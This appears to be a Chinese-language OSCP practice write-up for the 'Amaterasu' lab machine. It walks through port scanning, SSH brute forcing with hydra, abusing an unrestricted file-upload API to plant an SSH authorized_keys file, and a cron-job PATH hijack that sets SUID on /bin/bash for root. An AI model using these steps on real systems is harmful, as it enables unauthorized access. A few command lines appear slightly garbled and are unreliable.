
OSCP------Amaterasu
启动环境:
启动VPN:openvpn universal.ovpn
攻击机IP为192.168.45.201
启动目标靶机:
目标靶机IP为:192.168.248.249
信息收集
1.端口
nmap扫描端口:nmap --min-rate 10000 -p- 192.168.248.249
探测到了:21,22,111,139,443,445,2049,10000,25022,33414,40080 端口
端口服务探测:nmap -p 21,22,111,139,443,445,2049,10000,25022,33414,40080 -sV 192.168.248.249
发现目标主机准确开放的端口为:
21-ftp、25022-ssh、33414-unknown、40080-http
2.端口测试
2.121-ftp端口
先试试直接ftp匿名登录连接过去(ftp匿名登录用户名为anonymous,密码为email或者为空)。ftp 192.168.248.249
空密码直接登陆成功。登录后看一下有什么文件,有什么线索(binary 以二进制模式传输文件,保证文件完整)。
什么都没有,21端口结束。
2.225022-ssh
直接尝试弱口令登录:ssh 192.168.248.249 -p 25022
尝试了几个都失败了。那就直接用hydra上ssh爆破,字典用msf的。hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.248.249 ssh -s 25022
等待ing。
2.333414-unknow
刚才nmap出来的33414显示是unknown,详细再探测一下:nmap -sT -sV -O -sC -p 33414 192.168.248.249
看到了html代码,那就浏览器访问一下192.168.248.249:33414
无法访问哇,再倒回去看看。
Werkzeug/2.2.3 发现了这个服务。查了一下,Werkzeug是一个Python的WSGI工具库,用于构建Web应用程序和框架。Werkzeug提供了一套灵活的工具,用于处理HTTP请求和响应、路由请求、处理会话、进行调试等等。
还是继续用dirsearch扫一下把。dirsearch -u http://192.168.248.249:33414/
发现了help和info。
访问一下http://192.168.248.249:33414/help
这大家第一眼关注的应该是文件上传了。
那就等下试试这个接口。还有一个40080端口。
info里面是一些无用的信息。
2.440080端口http
http服务直接访问http://192.168.248.249:40080
Mozilla is cool! 没什么用
攻击阶段
看一下/file-upload接口
方式不被允许。那就换成POST 试一下curlcurl -X POST http://192.168.248.249:33414/file-upload
看来是要需要有上传的文件。curl通过POST上传文件。touch shell.php
curl -X POST -F file="@/home/czy1874396671/shell.php.txt" -F filename=shell.php http://192.168.248.249:33414/file-upload
看来想上传一句话php行不通哇。
改成了允许上传的文件格式上传成功
查看了一下文件上传的位置,发现是在/tmp目录下。curl http://192.168.248.249:33414/file-list?dir=/tmp
现在可以上传文件了,该怎么利用呢。试一下是否可以上传目录穿越。curl -X POST -F file="@/home/czy1874396671/shell.php.txt" -F filename=../shell.php http://192.168.248.249:33414/file-upload
500,应该是没有权限。试一下路径读取,找一下普通用户能够有权限写入的地方。
找到了一个alfredo的用户,目录下面存在.ssh文件,这里试一下能不能上传。curl -X POST -F file="@/home/czy1874396671/shell.php.txt" -F filename=/home/alfredo/.ssh/shell.php http://192.168.248.249:33414/file-upload
成功上传,有alfredo这个用户,进行密钥ssh登录。使用ssh-keygen生成公钥。ssh-keygen -t rsa
先重命名一下,便于上传。curl -X POST -F file="@/home/czy1874396671/shell.php.txt.pub.txt" -F filename=/home/alfredo/.ssh/authorized_keys http://192.168.248.249:33414/file-upload
内网渗透
现在有了文件的公钥,使用文件的私钥文件进行ssh登录,之前的ssh25022端口。ssh -i shell.php.txt alfredo@192.168.248.249 -p 25022
有shell了,牛牛牛。
找flag:
find / -name local.txt
cat /home/alfredo/local.txt
提权
1.sudo提权
需要密码。
2.suid提权find / -perm -u=s -type f 2>/dev/null
没有可提权的东西。
3. -suid-getcap提权/usr/sbin/getcap -r / 2>/dev/null
没有东西。
4.Cron job提权,寻找定时任务并修改进行提权
cat /etc/crontab
这个任务会每分钟执行一次 /usr/local/bin/backup-flask.sh 脚本。
看一下有没有修改权限。ls -al cat /usr/local/bin/backup-flask.sh
再查看它的内容:cat /usr/local/bin/backup-flask.sh
这个脚本的主要功能是将 /home/alfredo/restapi 目录中的文件和子目录打包成一个压缩文件 /tmp/flask.tar.gz。
因为环境可控,所以我们自己做一个tar的命令进行任务计划帮助提权。
查看bash权限
写一个提bash权命令 增加suidecho "chmod +u+s /bin/bash" > tar
cat tar
写一个提bash权命令 增加suidecho "chmod +u+s /bin/bash" > tar
cat tar
增加执行权限chmod +x tar
cat tar
等待一分钟,此时已经成功提升权限
ls -al /bin/bash 即可看到 -rwxrwxrwx. 1 root root 1390080 Jan 25 2021 /bin/bash
直接bash -p即可完成提权,作者因为靶场时间已经到期,没来得及截图哈哈哈。
获取flag2:
cat /root/proof.txt
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)